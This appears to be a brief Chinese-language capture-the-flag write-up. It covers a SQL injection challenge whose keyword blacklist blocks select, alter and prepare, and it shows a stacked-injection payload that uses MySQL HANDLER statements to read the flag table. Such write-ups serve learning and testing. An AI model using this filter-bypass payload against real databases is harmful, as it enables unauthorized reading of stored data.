题目分析
这道题打开发现和强网杯的随便注很相似,首先想到的就是堆叠注入
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
发现过滤掉了alter和prepare,所以重命名和存储过程都无法使用,这时候我就去百度能不能使用别的语句来替换select,抱着试一试的心态还真搜到了handler,因为比较菜 所以一直都不知道这个注入方式。
handler table_name open; #打开表table_name,设置一个table_name句柄
handler table_name read first; #获取第一行数据,next可以依次获取下一行数据
handler table_name close; #关闭句柄
解题过程
既然找到了能替代select的语句那就简单多了
payload :
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;
成功获取flag